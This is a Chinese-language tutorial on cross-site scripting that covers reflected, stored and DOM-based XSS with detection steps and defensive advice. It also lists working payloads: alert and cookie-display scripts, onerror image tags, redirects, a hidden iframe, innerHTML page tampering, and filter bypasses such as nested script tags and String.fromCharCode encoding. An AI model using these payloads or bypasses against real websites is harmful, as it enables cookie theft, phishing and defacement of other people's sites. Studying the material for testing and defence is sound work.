xss: 全称cross-site scripting,是用于攻击Web客户端而不是服务器端,其最大的特点是能把恶意的JS或HTML代码注入到用户浏览的网页上。而XSS漏洞的存在,主要是由于Web应用程序对用户的输入没有进行严格的过滤所导致的,当攻击者把恶意代码注入到网页时,用户只要访问该网页就会执行其中的恶意代码。
-
反射型xss(非持久): 反射型xss一般是指自定义内容发送的服务器,服务器返回到客户端显示时产生的脚本执行。常见在搜索功能中。
检测方式: 输入数据提交,看返回的内容是不是还是原来的内容,若是则很大可能存在漏洞。有时候返回的网页信息可能没有显示原来输入的内容,但是可以通过查看网页源代码可以查看输入的内容有没有注入到网页的html代码中,若有则也明显存在。主要用于窃取客户端cookie和钓鱼欺骗。
<script>alert(/xss/)</script>
<a href=https://www.baidu.com>click</a>
<a href=’’ onclick=alert('xss')>type</a>
去相应的网站访问不到相应的图片文件时就报错弹窗:
<img src=http://10.10.10.137/alan.jpg onerror=alert('xss')>
-
存储型xss:(持久) 存储型xss是指用户输入的xss脚本存储到了数据库中,例如留言板功能,每次查看留言时都会触发。
检测方式: 在留言板内容中输入
<script>alert(document.cookie)</script>
弹出cookie信息
-
DOM型xss: 其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。客户端的脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。基于这个特性,就可以利用JS脚本来实现XSS漏洞的利用。
DOM: 全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。
检测方式:构造payload
<script>alert(/xss/)</script>
触发弹窗‘;alert(/xss/)//
(注意) javascript中var 用于声明变量,为变量声明文本值时加引号如var $a='xxx';
所以要闭合前一个单引号,注释后一个单引号才能触发弹窗。防御方法: DOM型XSS主要是由客户端的脚本通过DOM动态地输出数据到页面而不是依赖于将数据提交给服务器端,而从客户端获得DOM中的数据在本地执行,因而仅从服务器端是无法防御的。
- 避免客户端文档重写、重定向或其他敏感操作,同时避免使用客户端数据,这些操作尽量在服务器端使用动态页面来实现;
- 分析和强化客户端JS代码,特别是受到用户影响的DOM对象,注意能直接修改DOM和创建HTML文件的相关函数或方法,并在输出变量到页面时先进行编码转义,如输出到HTML则进行HTML编码、输出到<script>则进行JS编码。
4. 利用XSS漏洞
- 利用innerHTML:用于纂改页面
<script>document.body.innerHTML="<div style=visibility:visible;><h1>This is DOM XSS</h1></div>";</script>
- 利用 重定向:
<script>window.location='https://www.baidu.com'</script>
<iframe SRC="http://www.sina.com" height="0" width="0"></iframe>
5. xss字符过滤
- <script>标签的S大写
- 如果源码匹配大小写:
<scr<script>ipt>alert("xss")</scr</script>ipt>
- 如果源码中发现传到后台的字符串中如果存在“script”(大小写不分),就会返回error:
<img src=1 onerror=alert("xss")>
name=<a herf="x" onclick="alert(/xss/)">test</a>
- 传到后台的字符串中如果存在“alert”(大小写不分),就会返回error:
<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 65, 78, 89, 34, 41))</script>